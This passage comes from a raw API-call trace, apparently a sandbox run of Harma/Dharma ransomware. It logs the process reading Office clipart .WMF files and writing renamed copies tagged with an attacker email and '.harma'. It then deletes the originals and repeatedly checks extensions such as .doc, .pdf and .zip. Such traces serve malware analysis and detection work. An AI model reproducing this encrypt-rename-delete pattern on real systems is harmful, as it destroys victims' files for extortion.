lpNewFilePointer=0x0) returned 1 [0162.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.353] GetLastError () returned 0x0 [0162.353] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x5754, lpOverlapped=0x0) returned 1 [0162.380] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5760, lpOverlapped=0x0) returned 1 [0162.381] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0162.381] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.381] SetEndOfFile (hFile=0x364) returned 1 [0162.382] CloseHandle (hObject=0x364) returned 1 [0162.382] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.382] SetEndOfFile (hFile=0x3a4) returned 1 [0162.385] CloseHandle (hObject=0x3a4) returned 1 [0162.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0162.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.517] lstrlenW (lpString=".doc") returned 4 [0162.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.517] lstrlenW (lpString=".docx") returned 5 [0162.517] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0162.517] lstrlenW (lpString=".pdf") returned 4 [0162.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.517] lstrlenW (lpString=".xls") returned 4 [0162.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.518] lstrlenW (lpString=".xlsx") returned 5 [0162.518] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0162.518] lstrlenW (lpString=".ppt") returned 4 [0162.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.518] lstrlenW (lpString=".zip") returned 4 [0162.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.518] lstrlenW (lpString=".rar") returned 4 [0162.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.518] lstrlenW (lpString=".bz2") returned 4 [0162.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.518] lstrlenW (lpString=".7z") returned 3 [0162.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.518] lstrlenW (lpString=".dbf") returned 4 [0162.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.518] lstrlenW (lpString=".1cd") returned 4 [0162.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.519] lstrlenW (lpString=".jpg") returned 4 [0162.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.519] lstrlenW (lpString=".doc") returned 4 [0162.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.519] lstrlenW (lpString=".docx") returned 5 [0162.519] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0162.519] lstrlenW (lpString=".pdf") returned 4 [0162.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.519] lstrlenW (lpString=".xls") returned 4 [0162.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.519] lstrlenW (lpString=".xlsx") returned 5 [0162.519] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0162.519] lstrlenW (lpString=".ppt") returned 4 [0162.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.519] lstrlenW (lpString=".zip") returned 4 [0162.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.519] lstrlenW (lpString=".rar") returned 4 [0162.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.519] lstrlenW (lpString=".bz2") returned 4 [0162.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.519] lstrlenW (lpString=".7z") returned 3 [0162.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.520] lstrlenW (lpString=".dbf") returned 4 [0162.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.520] lstrlenW (lpString=".1cd") returned 4 [0162.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0162.520] lstrlenW (lpString=".jpg") returned 4 [0162.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.520] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0162.551] lstrlenW (lpString="J0099169.WMF") returned 12 [0162.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0162.553] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=10192) returned 1 [0162.553] CloseHandle (hObject=0x3a0) returned 1 [0162.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 0x20 [0162.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0162.553] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.554] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0162.555] GetLastError () returned 0x0 [0162.555] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x27d0, lpOverlapped=0x0) returned 1 [0162.593] WriteFile (in: hFile=0x338, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x27e0, lpOverlapped=0x0) returned 1 [0162.594] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0162.594] WriteFile (in: hFile=0x338, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.594] SetEndOfFile (hFile=0x338) returned 1 [0162.595] CloseHandle (hObject=0x338) returned 1 [0162.595] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.595] SetEndOfFile (hFile=0x3a0) returned 1 [0162.864] CloseHandle (hObject=0x3a0) returned 1 [0162.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0163.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.041] lstrlenW (lpString=".doc") returned 4 [0163.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.041] lstrlenW (lpString=".docx") returned 5 [0163.041] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0163.041] lstrlenW (lpString=".pdf") returned 4 [0163.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.041] lstrlenW (lpString=".xls") returned 4 [0163.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.041] lstrlenW (lpString=".xlsx") returned 5 [0163.041] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0163.041] lstrlenW (lpString=".ppt") returned 4 [0163.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.042] lstrlenW (lpString=".zip") returned 4 [0163.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.042] lstrlenW (lpString=".rar") returned 4 [0163.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.042] lstrlenW (lpString=".bz2") returned 4 [0163.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.042] lstrlenW (lpString=".7z") returned 3 [0163.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.042] lstrlenW (lpString=".dbf") returned 4 [0163.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.042] lstrlenW (lpString=".1cd") returned 4 [0163.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.042] lstrlenW (lpString=".jpg") returned 4 [0163.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.043] lstrlenW (lpString=".doc") returned 4 [0163.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.043] lstrlenW (lpString=".docx") returned 5 [0163.043] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0163.043] lstrlenW (lpString=".pdf") returned 4 [0163.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.043] lstrlenW (lpString=".xls") returned 4 [0163.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.043] lstrlenW (lpString=".xlsx") returned 5 [0163.043] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0163.043] lstrlenW (lpString=".ppt") returned 4 [0163.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.043] lstrlenW (lpString=".zip") returned 4 [0163.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.043] lstrlenW (lpString=".rar") returned 4 [0163.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.043] lstrlenW (lpString=".bz2") returned 4 [0163.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.043] lstrlenW (lpString=".7z") returned 3 [0163.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.044] lstrlenW (lpString=".dbf") returned 4 [0163.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.044] lstrlenW (lpString=".1cd") returned 4 [0163.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0163.044] lstrlenW (lpString=".jpg") returned 4 [0163.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.044] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.044] lstrlenW (lpString="J0099176.WMF") returned 12 [0163.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0163.045] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2488) returned 1 [0163.045] CloseHandle (hObject=0x340) returned 1 [0163.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 0x20 [0163.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0163.046] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.046] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0163.047] GetLastError () returned 0x0 [0163.047] ReadFile (in: hFile=0x340, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x9b8, lpOverlapped=0x0) returned 1 [0163.109] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0163.111] ReadFile (in: hFile=0x340, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0163.111] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.111] SetEndOfFile (hFile=0x3a8) returned 1 [0163.111] CloseHandle (hObject=0x3a8) returned 1 [0163.111] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.111] SetEndOfFile (hFile=0x340) returned 1 [0163.115] CloseHandle (hObject=0x340) returned 1 [0163.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0163.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.117] lstrlenW (lpString=".doc") returned 4 [0163.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.117] lstrlenW (lpString=".docx") returned 5 [0163.117] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0163.117] lstrlenW (lpString=".pdf") returned 4 [0163.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.117] lstrlenW (lpString=".xls") returned 4 [0163.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.117] lstrlenW (lpString=".xlsx") returned 5 [0163.117] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0163.117] lstrlenW (lpString=".ppt") returned 4 [0163.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.117] lstrlenW (lpString=".zip") returned 4 [0163.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.117] lstrlenW (lpString=".rar") returned 4 [0163.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.117] lstrlenW (lpString=".bz2") returned 4 [0163.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.117] lstrlenW (lpString=".7z") returned 3 [0163.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.118] lstrlenW (lpString=".dbf") returned 4 [0163.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.118] lstrlenW (lpString=".1cd") returned 4 [0163.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.118] lstrlenW (lpString=".jpg") returned 4 [0163.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.118] lstrlenW (lpString=".doc") returned 4 [0163.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.118] lstrlenW (lpString=".docx") returned 5 [0163.118] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0163.118] lstrlenW (lpString=".pdf") returned 4 [0163.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.118] lstrlenW (lpString=".xls") returned 4 [0163.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.118] lstrlenW (lpString=".xlsx") returned 5 [0163.118] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0163.118] lstrlenW (lpString=".ppt") returned 4 [0163.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.119] lstrlenW (lpString=".zip") returned 4 [0163.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.119] lstrlenW (lpString=".rar") returned 4 [0163.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.119] lstrlenW (lpString=".bz2") returned 4 [0163.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.119] lstrlenW (lpString=".7z") returned 3 [0163.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.119] lstrlenW (lpString=".dbf") returned 4 [0163.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.119] lstrlenW (lpString=".1cd") returned 4 [0163.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0163.119] lstrlenW (lpString=".jpg") returned 4 [0163.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.119] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.119] lstrlenW (lpString="J0099179.WMF") returned 12 [0163.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.165] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=9154) returned 1 [0163.166] CloseHandle (hObject=0x3a4) returned 1 [0163.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 0x20 [0163.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.168] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.169] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0163.170] GetLastError () returned 0x0 [0163.170] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x23c2, lpOverlapped=0x0) returned 1 [0163.182] WriteFile (in: 